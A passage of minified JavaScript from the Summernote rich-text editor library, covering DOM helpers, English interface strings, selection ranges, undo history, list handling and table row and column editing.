t.previousSibling&&e(t.previousSibling)&&o.push(t.previousSibling),o.push(t),t.nextSibling&&e(t.nextSibling)&&o.push(t.nextSibling),o},nodeLength:it,isLeftEdgePoint:ht,isRightEdgePoint:pt,isEdgePoint:ft,isLeftEdgeOf:mt,isRightEdgeOf:gt,isLeftEdgePointOf:function(t,e){return ht(t)&&mt(t.node,e)},isRightEdgePointOf:function(t,e){return pt(t)&>(t.node,e)},prevPoint:yt,nextPoint:kt,isSamePoint:Ct,isVisiblePoint:function(t){if(j(t.node)||!bt(t.node)||rt(t.node))return!0;var e=t.node.childNodes[t.offset-1],o=t.node.childNodes[t.offset];return!(e&&!q(e)||o&&!q(o))},prevPointUntil:function(t,e){for(;t;){if(e(t))return t;t=yt(t)}return null},nextPointUntil:function(t,e){for(;t;){if(e(t))return t;t=kt(t)}return null},isCharPoint:function(t){if(!j(t.node))return!1;var e=t.node.nodeValue.charAt(t.offset-1);return e&&" "!==e&&e!==M},walkPoint:function(t,e,o,n){for(var i=t;i&&(o(i),!Ct(i,e));)i=kt(i,n&&t.node!==i.node&&e.node!==i.node)},ancestor:at,singleChildAncestor:function(t,e){for(t=t.parentNode;t&&1===it(t);){if(e(t))return t;if(O(t))break;t=t.parentNode}return null},listAncestor:lt,lastAncestor:function(t,e){var o=lt(t);return N.last(o.filter(e))},listNext:ct,listPrev:function(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.previousSibling;return o},listDescendant:function(t,e){var o=[];return e=e||C.ok,function n(i){t!==i&&e(i)&&o.push(i);for(var r=0,s=i.childNodes.length;r<s;r++)n(i.childNodes[r])}(t),o},commonAncestor:function(e,o){for(var n=lt(e),i=o;i;i=i.parentNode)if(t.inArray(i,n)>-1)return i;return null},wrap:function(e,o){var n=e.parentNode,i=t("<"+o+">")[0];return n.insertBefore(i,e),i.appendChild(e),i},insertAfter:dt,appendChildNodes:ut,position:vt,hasChildren:bt,makeOffsetPath:function(t,e){return lt(e,C.eq(t)).map(vt).reverse()},fromOffsetPath:function(t,e){for(var o=t,n=0,i=e.length;n<i;n++)o=o.childNodes.length<=e[n]?o.childNodes[o.childNodes.length-1]:o.childNodes[e[n]];return o},splitTree:xt,splitPoint:function(t,e){var o,n,i=e?K:tt,r=lt(t.node,i),s=N.last(r)||t.node;i(s)?(o=r[r.length-2],n=s):n=(o=s).parentNode;var a=o&&xt(o,t,{isSkipPaddingBlankHTML:e,isNotSplitEdgePoint:e});return a||n!==t.node||(a=t.node.childNodes[t.offset]),{rightNode:a,container:n}},create:St,createText:function(t){return document.createTextNode(t)},remove:Tt,removeWhile:function(t,e){for(;t&&!O(t)&&e(t);){var o=t.parentNode;Tt(t),t=o}},replace:function(t,e){if(t.nodeName.toUpperCase()===e.toUpperCase())return t;var o=St(e);return t.style.cssText&&(o.style.cssText=t.style.cssText),ut(o,N.from(t.childNodes)),dt(o,t),Tt(t),o},html:function(e,o){var n=$t(e);o&&(n=n.replace(/<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g,function(t,e,o){o=o.toUpperCase();var n=/^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(o)&&!!e,i=/^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(o);return t+(n||i?"\n":"")}),n=t.trim(n));return n},value:$t,posFromPlaceholder:function(e){var o=t(e),n=o.offset(),i=o.outerHeight(!0);return{left:n.left,top:n.top+i}},attachEvents:function(t,e){Object.keys(e).forEach(function(o){t.on(o,e[o])})},detachEvents:function(t,e){Object.keys(e).forEach(function(o){t.off(o,e[o])})},isCustomStyleTag:function(t){return t&&!j(t)&&N.contains(t.classList,"note-styletag")}};t.summernote=t.summernote||{lang:{}},t.extend(t.summernote.lang,{"en-US":{font:{bold:"Bold",italic:"Italic",underline:"Underline",clear:"Remove Font Style",height:"Line Height",name:"Font Family",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript",size:"Font Size"},image:{image:"Picture",insert:"Insert Image",resizeFull:"Resize Full",resizeHalf:"Resize Half",resizeQuarter:"Resize Quarter",floatLeft:"Float Left",floatRight:"Float Right",floatNone:"Float None",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Drag image or text here",dropImage:"Drop image or Text",selectFromFiles:"Select from files",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Image URL",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Link",insert:"Insert Link",unlink:"Unlink",edit:"Edit",textToDisplay:"Text to display",url:"To what URL should this link go?",openInNewWindow:"Open in new window"},table:{table:"Table",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Insert Horizontal Rule"},style:{style:"Style",p:"Normal",blockquote:"Quote",pre:"Code",h1:"Header 1",h2:"Header 2",h3:"Header 3",h4:"Header 4",h5:"Header 5",h6:"Header 6"},lists:{unordered:"Unordered list",ordered:"Ordered list"},options:{help:"Help",fullscreen:"Full Screen",codeview:"Code View"},paragraph:{paragraph:"Paragraph",outdent:"Outdent",indent:"Indent",left:"Align left",center:"Align center",right:"Align right",justify:"Justify full"},color:{recent:"Recent Color",more:"More Color",background:"Background Color",foreground:"Foreground Color",transparent:"Transparent",setTransparent:"Set transparent",reset:"Reset",resetToDefault:"Reset to default"},shortcut:{shortcuts:"Keyboard shortcuts",close:"Close",textFormatting:"Text formatting",action:"Action",paragraphFormatting:"Paragraph formatting",documentStyle:"Document Style",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Undo",redo:"Redo"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}});var Et={BACKSPACE:8,TAB:9,ENTER:13,SPACE:32,DELETE:46,LEFT:37,UP:38,RIGHT:39,DOWN:40,NUM0:48,NUM1:49,NUM2:50,NUM3:51,NUM4:52,NUM5:53,NUM6:54,NUM7:55,NUM8:56,B:66,E:69,I:73,J:74,K:75,L:76,R:82,S:83,U:85,V:86,Y:89,Z:90,SLASH:191,LEFTBRACKET:219,BACKSLASH:220,RIGHTBRACKET:221},At={isEdit:function(t){return N.contains([Et.BACKSPACE,Et.TAB,Et.ENTER,Et.SPACE,Et.DELETE],t)},isMove:function(t){return N.contains([Et.LEFT,Et.UP,Et.RIGHT,Et.DOWN],t)},nameFromCode:C.invertObject(Et),code:Et};function Rt(t,e){var o,n,i=t.parentElement(),r=document.body.createTextRange(),s=N.from(i.childNodes);for(o=0;o<s.length;o++)if(!Nt.isText(s[o])){if(r.moveToElementText(s[o]),r.compareEndPoints("StartToStart",t)>=0)break;n=s[o]}if(0!==o&&Nt.isText(s[o-1])){var a=document.body.createTextRange(),l=null;a.moveToElementText(n||i),a.collapse(!n),l=n?n.nextSibling:i.firstChild;var c=t.duplicate();c.setEndPoint("StartToStart",a);for(var d=c.text.replace(/[\r\n]/g,"").length;d>l.nodeValue.length&&l.nextSibling;)d-=l.nodeValue.length,l=l.nextSibling;l.nodeValue;e&&l.nextSibling&&Nt.isText(l.nextSibling)&&d===l.nodeValue.length&&(d-=l.nodeValue.length,l=l.nextSibling),i=l,o=d}return{cont:i,offset:o}}function Pt(t){var e=function(t,o){var n,i;if(Nt.isText(t)){var r=Nt.listPrev(t,C.not(Nt.isText)),s=N.last(r).previousSibling;n=s||t.parentNode,o+=N.sum(N.tail(r),Nt.nodeLength),i=!s}else{if(n=t.childNodes[o]||t,Nt.isText(n))return e(n,0);o=0,i=!1}return{node:n,collapseToStart:i,offset:o}},o=document.body.createTextRange(),n=e(t.node,t.offset);return o.moveToElementText(n.node),o.collapse(n.collapseToStart),o.moveStart("character",n.offset),o}var Lt=function(){function e(t,e,o,n){this.sc=t,this.so=e,this.ec=o,this.eo=n,this.isOnEditable=this.makeIsOn(Nt.isEditable),this.isOnList=this.makeIsOn(Nt.isList),this.isOnAnchor=this.makeIsOn(Nt.isAnchor),this.isOnCell=this.makeIsOn(Nt.isCell),this.isOnData=this.makeIsOn(Nt.isData)}return e.prototype.nativeRange=function(){if(z.isW3CRangeSupport){var t=document.createRange();return t.setStart(this.sc,this.so),t.setEnd(this.ec,this.eo),t}var e=Pt({node:this.sc,offset:this.so});return e.setEndPoint("EndToEnd",Pt({node:this.ec,offset:this.eo})),e},e.prototype.getPoints=function(){return{sc:this.sc,so:this.so,ec:this.ec,eo:this.eo}},e.prototype.getStartPoint=function(){return{node:this.sc,offset:this.so}},e.prototype.getEndPoint=function(){return{node:this.ec,offset:this.eo}},e.prototype.select=function(){var t=this.nativeRange();if(z.isW3CRangeSupport){var e=document.getSelection();e.rangeCount>0&&e.removeAllRanges(),e.addRange(t)}else t.select();return this},e.prototype.scrollIntoView=function(e){var o=t(e).height();return e.scrollTop+o<this.sc.offsetTop&&(e.scrollTop+=Math.abs(e.scrollTop+o-this.sc.offsetTop)),this},e.prototype.normalize=function(){var t=function(t,e){if(Nt.isVisiblePoint(t)&&!Nt.isEdgePoint(t)||Nt.isVisiblePoint(t)&&Nt.isRightEdgePoint(t)&&!e||Nt.isVisiblePoint(t)&&Nt.isLeftEdgePoint(t)&&e||Nt.isVisiblePoint(t)&&Nt.isBlock(t.node)&&Nt.isEmpty(t.node))return t;var o=Nt.ancestor(t.node,Nt.isBlock);if((Nt.isLeftEdgePointOf(t,o)||Nt.isVoid(Nt.prevPoint(t).node))&&!e||(Nt.isRightEdgePointOf(t,o)||Nt.isVoid(Nt.nextPoint(t).node))&&e){if(Nt.isVisiblePoint(t))return t;e=!e}return(e?Nt.nextPointUntil(Nt.nextPoint(t),Nt.isVisiblePoint):Nt.prevPointUntil(Nt.prevPoint(t),Nt.isVisiblePoint))||t},o=t(this.getEndPoint(),!1),n=this.isCollapsed()?o:t(this.getStartPoint(),!0);return new e(n.node,n.offset,o.node,o.offset)},e.prototype.nodes=function(t,e){t=t||C.ok;var o=e&&e.includeAncestor,n=e&&e.fullyContains,i=this.getStartPoint(),r=this.getEndPoint(),s=[],a=[];return Nt.walkPoint(i,r,function(e){var i;Nt.isEditable(e.node)||(n?(Nt.isLeftEdgePoint(e)&&a.push(e.node),Nt.isRightEdgePoint(e)&&N.contains(a,e.node)&&(i=e.node)):i=o?Nt.ancestor(e.node,t):e.node,i&&t(i)&&s.push(i))},!0),N.unique(s)},e.prototype.commonAncestor=function(){return Nt.commonAncestor(this.sc,this.ec)},e.prototype.expand=function(t){var o=Nt.ancestor(this.sc,t),n=Nt.ancestor(this.ec,t);if(!o&&!n)return new e(this.sc,this.so,this.ec,this.eo);var i=this.getPoints();return o&&(i.sc=o,i.so=0),n&&(i.ec=n,i.eo=Nt.nodeLength(n)),new e(i.sc,i.so,i.ec,i.eo)},e.prototype.collapse=function(t){return t?new e(this.sc,this.so,this.sc,this.so):new e(this.ec,this.eo,this.ec,this.eo)},e.prototype.splitText=function(){var t=this.sc===this.ec,o=this.getPoints();return Nt.isText(this.ec)&&!Nt.isEdgePoint(this.getEndPoint())&&this.ec.splitText(this.eo),Nt.isText(this.sc)&&!Nt.isEdgePoint(this.getStartPoint())&&(o.sc=this.sc.splitText(this.so),o.so=0,t&&(o.ec=o.sc,o.eo=this.eo-this.so)),new e(o.sc,o.so,o.ec,o.eo)},e.prototype.deleteContents=function(){if(this.isCollapsed())return this;var o=this.splitText(),n=o.nodes(null,{fullyContains:!0}),i=Nt.prevPointUntil(o.getStartPoint(),function(t){return!N.contains(n,t.node)}),r=[];return t.each(n,function(t,e){var o=e.parentNode;i.node!==o&&1===Nt.nodeLength(o)&&r.push(o),Nt.remove(e,!1)}),t.each(r,function(t,e){Nt.remove(e,!1)}),new e(i.node,i.offset,i.node,i.offset).normalize()},e.prototype.makeIsOn=function(t){return function(){var e=Nt.ancestor(this.sc,t);return!!e&&e===Nt.ancestor(this.ec,t)}},e.prototype.isLeftEdgeOf=function(t){if(!Nt.isLeftEdgePoint(this.getStartPoint()))return!1;var e=Nt.ancestor(this.sc,t);return e&&Nt.isLeftEdgeOf(this.sc,e)},e.prototype.isCollapsed=function(){return this.sc===this.ec&&this.so===this.eo},e.prototype.wrapBodyInlineWithPara=function(){if(Nt.isBodyContainer(this.sc)&&Nt.isEmpty(this.sc))return this.sc.innerHTML=Nt.emptyPara,new e(this.sc.firstChild,0,this.sc.firstChild,0);var t,o=this.normalize();if(Nt.isParaInline(this.sc)||Nt.isPara(this.sc))return o;if(Nt.isInline(o.sc)){var n=Nt.listAncestor(o.sc,C.not(Nt.isInline));t=N.last(n),Nt.isInline(t)||(t=n[n.length-2]||o.sc.childNodes[o.so])}else t=o.sc.childNodes[o.so>0?o.so-1:0];var i=Nt.listPrev(t,Nt.isParaInline).reverse();if((i=i.concat(Nt.listNext(t.nextSibling,Nt.isParaInline))).length){var r=Nt.wrap(N.head(i),"p");Nt.appendChildNodes(r,N.tail(i))}return this.normalize()},e.prototype.insertNode=function(t){var e=this.wrapBodyInlineWithPara().deleteContents(),o=Nt.splitPoint(e.getStartPoint(),Nt.isInline(t));return o.rightNode?o.rightNode.parentNode.insertBefore(t,o.rightNode):o.container.appendChild(t),t},e.prototype.pasteHTML=function(e){var o=t("<div></div>").html(e)[0],n=N.from(o.childNodes),i=this.wrapBodyInlineWithPara().deleteContents();return n.reverse().map(function(t){return i.insertNode(t)}).reverse()},e.prototype.toString=function(){var t=this.nativeRange();return z.isW3CRangeSupport?t.toString():t.text},e.prototype.getWordRange=function(t){var o=this.getEndPoint();if(!Nt.isCharPoint(o))return this;var n=Nt.prevPointUntil(o,function(t){return!Nt.isCharPoint(t)});return t&&(o=Nt.nextPointUntil(o,function(t){return!Nt.isCharPoint(t)})),new e(n.node,n.offset,o.node,o.offset)},e.prototype.bookmark=function(t){return{s:{path:Nt.makeOffsetPath(t,this.sc),offset:this.so},e:{path:Nt.makeOffsetPath(t,this.ec),offset:this.eo}}},e.prototype.paraBookmark=function(t){return{s:{path:N.tail(Nt.makeOffsetPath(N.head(t),this.sc)),offset:this.so},e:{path:N.tail(Nt.makeOffsetPath(N.last(t),this.ec)),offset:this.eo}}},e.prototype.getClientRects=function(){return this.nativeRange().getClientRects()},e}(),Ht={create:function(t,e,o,n){if(4===arguments.length)return new Lt(t,e,o,n);if(2===arguments.length)return new Lt(t,e,o=t,n=e);var i=this.createFromSelection();return i||1!==arguments.length?i:(i=this.createFromNode(arguments[0])).collapse(Nt.emptyPara===arguments[0].innerHTML)},createFromSelection:function(){var t,e,o,n;if(z.isW3CRangeSupport){var i=document.getSelection();if(!i||0===i.rangeCount)return null;if(Nt.isBody(i.anchorNode))return null;var r=i.getRangeAt(0);t=r.startContainer,e=r.startOffset,o=r.endContainer,n=r.endOffset}else{var s=document.selection.createRange(),a=s.duplicate();a.collapse(!1);var l=s;l.collapse(!0);var c=Rt(l,!0),d=Rt(a,!1);Nt.isText(c.node)&&Nt.isLeftEdgePoint(c)&&Nt.isTextNode(d.node)&&Nt.isRightEdgePoint(d)&&d.node.nextSibling===c.node&&(c=d),t=c.cont,e=c.offset,o=d.cont,n=d.offset}return new Lt(t,e,o,n)},createFromNode:function(t){var e=t,o=0,n=t,i=Nt.nodeLength(n);return Nt.isVoid(e)&&(o=Nt.listPrev(e).length-1,e=e.parentNode),Nt.isBR(n)?(i=Nt.listPrev(n).length-1,n=n.parentNode):Nt.isVoid(n)&&(i=Nt.listPrev(n).length,n=n.parentNode),this.create(e,o,n,i)},createFromNodeBefore:function(t){return this.createFromNode(t).collapse(!0)},createFromNodeAfter:function(t){return this.createFromNode(t).collapse()},createFromBookmark:function(t,e){var o=Nt.fromOffsetPath(t,e.s.path),n=e.s.offset,i=Nt.fromOffsetPath(t,e.e.path),r=e.e.offset;return new Lt(o,n,i,r)},createFromParaBookmark:function(t,e){var o=t.s.offset,n=t.e.offset,i=Nt.fromOffsetPath(N.head(e),t.s.path),r=Nt.fromOffsetPath(N.last(e),t.e.path);return new Lt(i,o,r,n)}};var Dt=function(){function t(t){this.stack=[],this.stackOffset=-1,this.$editable=t,this.editable=t[0]}return t.prototype.makeSnapshot=function(){var t=Ht.create(this.editable);return{contents:this.$editable.html(),bookmark:t?t.bookmark(this.editable):{s:{path:[],offset:0},e:{path:[],offset:0}}}},t.prototype.applySnapshot=function(t){null!==t.contents&&this.$editable.html(t.contents),null!==t.bookmark&&Ht.createFromBookmark(this.editable,t.bookmark).select()},t.prototype.rewind=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset=0,this.applySnapshot(this.stack[this.stackOffset])},t.prototype.reset=function(){this.stack=[],this.stackOffset=-1,this.$editable.html(""),this.recordUndo()},t.prototype.undo=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset>0&&(this.stackOffset--,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.redo=function(){this.stack.length-1>this.stackOffset&&(this.stackOffset++,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.recordUndo=function(){this.stackOffset++,this.stack.length>this.stackOffset&&(this.stack=this.stack.slice(0,this.stackOffset)),this.stack.push(this.makeSnapshot())},t}(),Ft=function(){function e(){}return e.prototype.jQueryCSS=function(e,o){if(z.jqueryVersion<1.9){var n={};return t.each(o,function(t,o){n[o]=e.css(o)}),n}return e.css(o)},e.prototype.fromNode=function(t){var e=this.jQueryCSS(t,["font-family","font-size","text-align","list-style-type","line-height"])||{};return e["font-size"]=parseInt(e["font-size"],10),e},e.prototype.stylePara=function(e,o){t.each(e.nodes(Nt.isPara,{includeAncestor:!0}),function(e,n){t(n).css(o)})},e.prototype.styleNodes=function(e,o){e=e.splitText();var n=o&&o.nodeName||"SPAN",i=!(!o||!o.expandClosestSibling),r=!(!o||!o.onlyPartialContains);if(e.isCollapsed())return[e.insertNode(Nt.create(n))];var s=Nt.makePredByNodeName(n),a=e.nodes(Nt.isText,{fullyContains:!0}).map(function(t){return Nt.singleChildAncestor(t,s)||Nt.wrap(t,n)});if(i){if(r){var l=e.nodes();s=C.and(s,function(t){return N.contains(l,t)})}return a.map(function(e){var o=Nt.withClosestSiblings(e,s),n=N.head(o),i=N.tail(o);return t.each(i,function(t,e){Nt.appendChildNodes(n,e.childNodes),Nt.remove(e)}),N.head(o)})}return a},e.prototype.current=function(e){var o=t(Nt.isElement(e.sc)?e.sc:e.sc.parentNode),n=this.fromNode(o);try{n=t.extend(n,{"font-bold":document.queryCommandState("bold")?"bold":"normal","font-italic":document.queryCommandState("italic")?"italic":"normal","font-underline":document.queryCommandState("underline")?"underline":"normal","font-subscript":document.queryCommandState("subscript")?"subscript":"normal","font-superscript":document.queryCommandState("superscript")?"superscript":"normal","font-strikethrough":document.queryCommandState("strikethrough")?"strikethrough":"normal","font-family":document.queryCommandValue("fontname")||n["font-family"]})}catch(t){}if(e.isOnList()){var i=t.inArray(n["list-style-type"],["circle","disc","disc-leading-zero","square"])>-1;n["list-style"]=i?"unordered":"ordered"}else n["list-style"]="none";var r=Nt.ancestor(e.sc,Nt.isPara);if(r&&r.style["line-height"])n["line-height"]=r.style.lineHeight;else{var s=parseInt(n["line-height"],10)/parseInt(n["font-size"],10);n["line-height"]=s.toFixed(1)}return n.anchor=e.isOnAnchor()&&Nt.ancestor(e.sc,Nt.isAnchor),n.ancestors=Nt.listAncestor(e.sc,Nt.isEditable),n.range=e,n},e}(),Bt=function(){function e(){}return e.prototype.insertOrderedList=function(t){this.toggleList("OL",t)},e.prototype.insertUnorderedList=function(t){this.toggleList("UL",t)},e.prototype.indent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.wrapList(n,i.parentNode.nodeName):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(parseInt(e,10)||0)+25})})}),n.select()},e.prototype.outdent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.releaseList([n]):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(e=parseInt(e,10)||0)>25?e-25:""})})}),n.select()},e.prototype.toggleList=function(e,o){var n=this,i=Ht.create(o).wrapBodyInlineWithPara(),r=i.nodes(Nt.isPara,{includeAncestor:!0}),s=i.paraBookmark(r),a=N.clusterBy(r,C.peq2("parentNode"));if(N.find(r,Nt.isPurePara)){var l=[];t.each(a,function(t,o){l=l.concat(n.wrapList(o,e))}),r=l}else{var c=i.nodes(Nt.isList,{includeAncestor:!0}).filter(function(o){return!t.nodeName(o,e)});c.length?t.each(c,function(t,o){Nt.replace(o,e)}):r=this.releaseList(a,!0)}Ht.createFromParaBookmark(s,r).select()},e.prototype.wrapList=function(t,e){var o=N.head(t),n=N.last(t),i=Nt.isList(o.previousSibling)&&o.previousSibling,r=Nt.isList(n.nextSibling)&&n.nextSibling,s=i||Nt.insertAfter(Nt.create(e||"UL"),n);return t=t.map(function(t){return Nt.isPurePara(t)?Nt.replace(t,"LI"):t}),Nt.appendChildNodes(s,t),r&&(Nt.appendChildNodes(s,N.from(r.childNodes)),Nt.remove(r)),t},e.prototype.releaseList=function(e,o){var n=[];return t.each(e,function(e,i){var r=N.head(i),s=N.last(i),a=o?Nt.lastAncestor(r,Nt.isList):r.parentNode,l=a.childNodes.length>1?Nt.splitTree(a,{node:s.parentNode,offset:Nt.position(s)+1},{isSkipPaddingBlankHTML:!0}):null,c=Nt.splitTree(a,{node:r.parentNode,offset:Nt.position(r)},{isSkipPaddingBlankHTML:!0});i=o?Nt.listDescendant(c,Nt.isLi):N.from(c.childNodes).filter(Nt.isLi),!o&&Nt.isList(a.parentNode)||(i=i.map(function(t){return Nt.replace(t,"P")})),t.each(N.from(i).reverse(),function(t,e){Nt.insertAfter(e,a)});var d=N.compact([a,c,l]);t.each(d,function(e,o){var n=[o].concat(Nt.listDescendant(o,Nt.isList));t.each(n.reverse(),function(t,e){Nt.nodeLength(e)||Nt.remove(e,!0)})}),n=n.concat(i)}),n},e}(),zt=function(){function e(){this.bullet=new Bt}return e.prototype.insertTab=function(t,e){var o=Nt.createText(new Array(e+1).join(Nt.NBSP_CHAR));(t=t.deleteContents()).insertNode(o,!0),(t=Ht.create(o,e)).select()},e.prototype.insertParagraph=function(e){var o=Ht.create(e);o=(o=o.deleteContents()).wrapBodyInlineWithPara();var n,i=Nt.ancestor(o.sc,Nt.isPara);if(i){if(Nt.isEmpty(i)&&Nt.isLi(i))return void this.bullet.toggleList(i.parentNode.nodeName);if(Nt.isEmpty(i)&&Nt.isPara(i)&&Nt.isBlockquote(i.parentNode))Nt.insertAfter(i,i.parentNode),n=i;else{n=Nt.splitTree(i,o.getStartPoint());var r=Nt.listDescendant(i,Nt.isEmptyAnchor);r=r.concat(Nt.listDescendant(n,Nt.isEmptyAnchor)),t.each(r,function(t,e){Nt.remove(e)}),(Nt.isHeading(n)||Nt.isPre(n)||Nt.isCustomStyleTag(n))&&Nt.isEmpty(n)&&(n=Nt.replace(n,"p"))}}else{var s=o.sc.childNodes[o.so];n=t(Nt.emptyPara)[0],s?o.sc.insertBefore(n,s):o.sc.appendChild(n)}Ht.create(n,0).normalize().select().scrollIntoView(e)},e}(),Mt=function(t,e,o,n){var i={colPos:0,rowPos:0},r=[],s=[];function a(t,e,o,n,i,s,a){var l={baseRow:o,baseCell:n,isRowSpan:i,isColSpan:s,isVirtual:a};r[t]||(r[t]=[]),r[t][e]=l}function l(t,e){if(!r[t])return e;if(!r[t][e])return e;for(var o=e;r[t][o];)if(o++,!r[t][o])return o}function c(t,e){var o=l(t.rowIndex,e.cellIndex),n=e.colSpan>1,r=e.rowSpan>1,s=t.rowIndex===i.rowPos&&e.cellIndex===i.colPos;a(t.rowIndex,o,t,e,r,n,!1);var c=e.attributes.rowSpan?parseInt(e.attributes.rowSpan.value,10):0;if(c>1)for(var u=1;u<c;u++){var h=t.rowIndex+u;d(h,o,e,s),a(h,o,t,e,!0,n,!0)}var p=e.attributes.colSpan?parseInt(e.attributes.colSpan.value,10):0;if(p>1)for(var f=1;f<p;f++){var m=l(t.rowIndex,o+f);d(t.rowIndex,m,e,s),a(t.rowIndex,m,t,e,r,!0,!0)}}function d(t,e,o,n){t===i.rowPos&&i.colPos>=o.cellIndex&&o.cellIndex<=e&&!n&&i.colPos++}function u(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SubtractSpanCount;break;case Mt.where.Row:if(!t.isVirtual&&t.isRowSpan)return Mt.resultAction.AddCell;if(t.isRowSpan)return Mt.resultAction.SubtractSpanCount}return Mt.resultAction.RemoveCell}function h(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SumSpanCount;if(t.isRowSpan&&t.isVirtual)return Mt.resultAction.Ignore;break;case Mt.where.Row:if(t.isRowSpan)return Mt.resultAction.SumSpanCount;if(t.isColSpan&&t.isVirtual)return Mt.resultAction.Ignore}return Mt.resultAction.AddCell}this.getActionList=function(){for(var t,n,a,l=e===Mt.where.Row?i.rowPos:-1,c=e===Mt.where.Column?i.colPos:-1,d=0,p=!0;p;){var f=l>=0?l:d,m=c>=0?c:d,g=r[f];if(!g)return p=!1,s;var v=g[m];if(!v)return p=!1,s;var b=Mt.resultAction.Ignore;switch(o){case Mt.requestAction.Add:b=h(v);break;case Mt.requestAction.Delete:b=u(v)}s.push((t=b,n=f,a=m,{baseCell:v.baseCell,action:t,virtualTable:{rowIndex:n,cellIndex:a}})),d++}return s},t&&t.tagName&&("td"===t.tagName.toLowerCase()||"th"===t.tagName.toLowerCase())?(i.colPos=t.cellIndex,t.parentElement&&t.parentElement.tagName&&"tr"===t.parentElement.tagName.toLowerCase()?i.rowPos=t.parentElement.rowIndex:console.error("Impossible to identify start Row point.",t)):console.error("Impossible to identify start Cell point.",t),function(){for(var t=n.rows,e=0;e<t.length;e++)for(var o=t[e].cells,i=0;i<o.length;i++)c(t[e],o[i])}()};Mt.where={Row:0,Column:1},Mt.requestAction={Add:0,Delete:1},Mt.resultAction={Ignore:0,SubtractSpanCount:1,RemoveCell:2,AddCell:3,SumSpanCount:4};var Ot,Ut=function(){function e(){}return e.prototype.tab=function(t,e){var o=Nt.ancestor(t.commonAncestor(),Nt.isCell),n=Nt.ancestor(o,Nt.isTable),i=Nt.listDescendant(n,Nt.isCell),r=N[e?"prev":"next"](i,o);r&&Ht.create(r,0).select()},e.prototype.addRow=function(e,o){for(var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr"),r=this.recoverAttributes(i),s=t("<tr"+r+"></tr>"),a=new Mt(n,Mt.where.Row,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),l=0;l<a.length;l++){var c=a[l],d=this.recoverAttributes(c.baseCell);switch(c.action){case Mt.resultAction.AddCell:s.append("<td"+d+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("top"===o)if((c.baseCell.parent?c.baseCell.closest("tr").rowIndex:0)<=i[0].rowIndex){var u=t("<div></div>").append(t("<td"+d+">"+Nt.blank+"</td>").removeAttr("rowspan")).html();s.append(u);break}var h=parseInt(c.baseCell.rowSpan,10);h++,c.baseCell.setAttribute("rowSpan",h)}}if("top"===o)i.before(s);else{if(n.rowSpan>1){var p=i[0].rowIndex+(n.rowSpan-2);return void t(t(i).parent().find("tr")[p]).after(t(s))}i.after(s)}},e.prototype.addCol=function(e,o){var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr");t(i).siblings().push(i);for(var r=new Mt(n,Mt.where.Column,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),s=0;s<r.length;s++){var a=r[s],l=this.recoverAttributes(a.baseCell);switch(a.action){case Mt.resultAction.AddCell:"right"===o?t(a.baseCell).after("<td"+l+">"+Nt.blank+"</td>"):t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("right"===o){var c=parseInt(a.baseCell.colSpan,10);c++,a.baseCell.setAttribute("colSpan",c)}else t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>")}}},e.prototype.recoverAttributes=function(t){var e="";if(!t)return e;for(var o=t.attributes||[],n=0;n<o.length;n++)"id"!==o[n].name.toLowerCase()&&o[n].specified&&(e+=" "+o[n].name+"='"+o[n].value+"'");return e},e.prototype.deleteRow=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=n[0].rowIndex,s=new 